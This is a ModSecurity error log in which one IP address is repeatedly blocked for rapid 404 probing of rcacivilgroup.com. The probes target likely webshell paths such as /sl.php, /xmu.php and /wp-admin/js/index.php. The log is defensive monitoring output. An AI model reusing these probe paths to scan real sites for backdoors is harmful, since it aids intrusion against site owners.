[Wed May 13 10:44:27.707453 2026] [:error] [pid 23887:tid 23918] [client 20.48.166.247:22265] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sl.php"] [unique_id "agPli9SKmvZJZkXBFDBGRwAAANc"]
[Wed May 13 10:44:28.141862 2026] [:error] [pid 23787:tid 23852] [client 20.48.166.247:22293] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sl.php"] [unique_id "agPljB1cs5wE7VT6wirPEAAAAIQ"]
[Wed May 13 10:44:28.640644 2026] [:error] [pid 23887:tid 23912] [client 20.48.166.247:22308] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sl.php"] [unique_id "agPljNSKmvZJZkXBFDBGSgAAANE"]
[Wed May 13 10:44:29.091830 2026] [:error] [pid 23782:tid 23828] [client 20.48.166.247:22334] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-temp.php"] [unique_id "agPljSBrKFYHXUGnR-qezwAAAEc"]
[Wed May 13 10:44:29.740401 2026] [:error] [pid 23887:tid 23906] [client 20.48.166.247:22319] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-temp.php"] [unique_id "agPljdSKmvZJZkXBFDBGTAAAAMs"]
[Wed May 13 10:44:30.235962 2026] [:error] [pid 23887:tid 23908] [client 20.48.166.247:22301] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-temp.php"] [unique_id "agPljtSKmvZJZkXBFDBGTgAAAM0"]
[Wed May 13 10:44:30.671922 2026] [:error] [pid 23887:tid 23919] [client 20.48.166.247:22227] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-temp.php"] [unique_id "agPljtSKmvZJZkXBFDBGUQAAANg"]
[Wed May 13 10:44:31.127476 2026] [:error] [pid 23782:tid 23838] [client 20.48.166.247:22394] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "agPljyBrKFYHXUGnR-qe0AAAAFE"]
[Wed May 13 10:44:31.661946 2026] [:error] [pid 23787:tid 23869] [client 20.48.166.247:22157] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "agPljx1cs5wE7VT6wirPEwAAAJU"]
[Wed May 13 10:44:32.084088 2026] [:error] [pid 23887:tid 23904] [client 20.48.166.247:22232] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "agPlkNSKmvZJZkXBFDBGUwAAAMk"]
[Wed May 13 10:44:32.661286 2026] [:error] [pid 3259:tid 3273] [client 20.48.166.247:22307] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "agPlkOWJB4YwcPVLeArE9AAAAQw"]
[Wed May 13 10:44:33.157391 2026] [:error] [pid 23887:tid 23907] [client 20.48.166.247:22305] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmu.php"] [unique_id "agPlkdSKmvZJZkXBFDBGVAAAAMw"]
[Wed May 13 10:44:33.682721 2026] [:error] [pid 23887:tid 23903] [client 20.48.166.247:22326] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmu.php"] [unique_id "agPlkdSKmvZJZkXBFDBGVQAAAMg"]
[Wed May 13 10:44:34.118219 2026] [:error] [pid 3259:tid 3262] [client 20.48.166.247:22217] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmu.php"] [unique_id "agPlkuWJB4YwcPVLeArE9wAAAQE"]
[Wed May 13 10:44:34.573467 2026] [:error] [pid 23782:tid 23832] [client 20.48.166.247:22268] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmu.php"] [unique_id "agPlkiBrKFYHXUGnR-qe1QAAAEs"]
[Wed May 13 10:44:35.036136 2026] [:error] [pid 23782:tid 23821] [client 20.48.166.247:22226] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "agPlkyBrKFYHXUGnR-qe1gAAAEA"]
[Wed May 13 10:44:35.502471 2026] [:error] [pid 23780:tid 23816] [client 20.48.166.247:22231] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "agPlk3XgOibPjrXgeTBd9AAAABY"]
[Wed May 13 10:44:36.048779 2026] [:error] [pid 23787:tid 23851] [client 20.48.166.247:22360] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "agPllB1cs5wE7VT6wirPFgAAAIM"]
[Wed May 13 10:44:36.495483 2026] [:error] [pid 23887:tid 23901] [client 20.48.166.247:22267] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "agPllNSKmvZJZkXBFDBGWQAAAMY"]
[Wed May 13 10:44:36.997587 2026] [:error] [pid 23887:tid 23897] [client 20.48.166.247:22228] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "agPllNSKmvZJZkXBFDBGWwAAAMI"]
[Wed May 13 10:44:37.559914 2026] [:error] [pid 23887:tid 23911] [client 20.48.166.247:22233] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "agPlldSKmvZJZkXBFDBGXAAAANA"]
[Wed May 13 10:44:38.218286 2026] [:error] [pid 23782:tid 23829] [client 20.48.166.247:22215] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "agPlliBrKFYHXUGnR-qe3AAAAEg"]
[Wed May 13 10:44:38.674349 2026] [:error] [pid 23787:tid 23850] [client 20.48.166.247:22213] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "agPllh1cs5wE7VT6wirPGQAAAII"]
[Wed May 13 10:44:39.148523 2026] [:error] [pid 23787:tid 23868] [client 20.48.166.247:22369] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "agPllx1cs5wE7VT6wirPGwAAAJQ"]
[Wed May 13 10:44:39.655212 2026] [:error] [pid 23782:tid 23838] [client 20.48.166.247:22219] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "agPllyBrKFYHXUGnR-qe4AAAAFE"]
[Wed May 13 10:44:40.183387 2026] [:error] [pid 23887:tid 23917] [client 20.48.166.247:22236] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "agPlmNSKmvZJZkXBFDBGXQAAANY"]
[Wed May 13 10:44:40.694785 2026] [:error] [pid 23887:tid 23908] [client 20.48.166.247:22248] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "agPlmNSKmvZJZkXBFDBGXgAAAM0"]
[Wed May 13 10:44:41.212450 2026] [:error] [pid 23787:tid 23866] [client 20.48.166.247:22235] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "agPlmR1cs5wE7VT6wirPJwAAAJI"]
[Wed May 13 10:44:41.726504 2026] [:error] [pid 23787:tid 23871] [client 20.48.166.247:22269] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "agPlmR1cs5wE7VT6wirPKQAAAJc"]
[Wed May 13 10:44:42.200866 2026] [:error] [pid 23780:tid 23818] [client 20.48.166.247:22252] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "agPlmnXgOibPjrXgeTBd_gAAABg"]
[Wed May 13 10:44:42.758612 2026] [:error] [pid 23887:tid 23910] [client 20.48.166.247:22230] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "agPlmtSKmvZJZkXBFDBGXwAAAM8"]
[Wed May 13 10:44:43.213910 2026] [:error] [pid 23787:tid 23867] [client 20.48.166.247:22327] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "agPlmx1cs5wE7VT6wirPLAAAAJM"]
[Wed May 13 10:44:43.671627 2026] [:error] [pid 23887:tid 23919] [client 20.48.166.247:22295] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "agPlm9SKmvZJZkXBFDBGYAAAANg"]
[Wed May 13 10:44:44.139178 2026] [:error] [pid 23782:tid 23843] [client 20.48.166.247:22243] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "agPlnCBrKFYHXUGnR-qe6AAAAFY"]
[Wed May 13 10:44:44.618759 2026] [:error] [pid 23787:tid 23860] [client 20.48.166.247:22260] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "agPlnB1cs5wE7VT6wirPLgAAAIw"]
[Wed May 13 10:44:45.209813 2026] [:error] [pid 23787:tid 23862] [client 20.48.166.247:22363] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "agPlnR1cs5wE7VT6wirPMAAAAI4"]
[Wed May 13 10:44:45.805538 2026] [:error] [pid 23787:tid 23869] [client 20.48.166.247:22156] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "agPlnR1cs5wE7VT6wirPMQAAAJU"]
[Wed May 13 10:44:46.321892 2026] [:error] [pid 23780:tid 23814] [client 20.48.166.247:22355] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "agPlnnXgOibPjrXgeTBeBQAAABQ"]
[Wed May 13 10:44:46.825730 2026] [:error] [pid 23787:tid 23848] [client 20.48.166.247:22154] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "agPlnh1cs5wE7VT6wirPMgAAAIA"]
[Wed May 13 10:44:47.261567 2026] [:error] [pid 23787:tid 23865] [client 20.48.166.247:22194] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "agPlnx1cs5wE7VT6wirPMwAAAJE"]
[Wed May 13 10:44:47.752350 2026] [:error] [pid 23780:tid 23813] [client 20.48.166.247:22249] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "agPln3XgOibPjrXgeTBeDAAAABM"]
[Wed May 13 10:44:48.262895 2026] [:error] [pid 23887:tid 23900] [client 20.48.166.247:22106] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "agPloNSKmvZJZkXBFDBGYQAAAMU"]
[Wed May 13 10:44:48.750335 2026] [:error] [pid 23787:tid 23852] [client 20.48.166.247:22323] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "agPloB1cs5wE7VT6wirPNgAAAIQ"]
[Wed May 13 10:44:49.269746 2026] [:error] [pid 23787:tid 23872] [client 20.48.166.247:22163] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "agPloR1cs5wE7VT6wirPOAAAAJg"]
[Wed May 13 10:44:49.743021 2026] [:error] [pid 23782:tid 23828] [client 20.48.166.247:22197] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "agPloSBrKFYHXUGnR-qe7AAAAEc"]
[Wed May 13 10:44:50.289932 2026] [:error] [pid 23782:tid 23825] [client 20.48.166.247:22150] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "agPloiBrKFYHXUGnR-qe7QAAAEQ"]
[Wed May 13 10:44:50.764769 2026] [:error] [pid 23782:tid 23835] [client 20.48.166.247:22321] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "agPloiBrKFYHXUGnR-qe7gAAAE4"]
[Wed May 13 10:44:51.247136 2026] [:error] [pid 23887:tid 23898] [client 20.48.166.247:22151] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "agPlo9SKmvZJZkXBFDBGZAAAAMM"]
[Wed May 13 10:44:51.683946 2026] [:error] [pid 3259:tid 3282] [client 20.48.166.247:22193] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "agPlo-WJB4YwcPVLeArFFQAAARU"]
[Wed May 13 10:44:52.193179 2026] [:error] [pid 23887:tid 23895] [client 20.48.166.247:22358] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "agPlpNSKmvZJZkXBFDBGaQAAAMA"]
[Wed May 13 10:44:52.706031 2026] [:error] [pid 23887:tid 23914] [client 20.48.166.247:22210] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "agPlpNSKmvZJZkXBFDBGawAAANM"]
[Wed May 13 10:44:53.200421 2026] [:error] [pid 23887:tid 23897] [client 20.48.166.247:22261] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "agPlpdSKmvZJZkXBFDBGbwAAAMI"]
[Wed May 13 10:44:53.777554 2026] [:error] [pid 23787:tid 23858] [client 20.48.166.247:22259] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "agPlpR1cs5wE7VT6wirPPAAAAIo"]
[Wed May 13 10:44:54.307936 2026] [:error] [pid 23887:tid 23906] [client 20.48.166.247:22266] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "agPlptSKmvZJZkXBFDBGcAAAAMs"]
[Wed May 13 10:44:54.771453 2026] [:error] [pid 23887:tid 23908] [client 20.48.166.247:22214] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "agPlptSKmvZJZkXBFDBGcwAAAM0"]
[Wed May 13 10:44:55.284227 2026] [:error] [pid 23782:tid 23844] [client 20.48.166.247:22148] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "agPlpyBrKFYHXUGnR-qe8QAAAFc"]
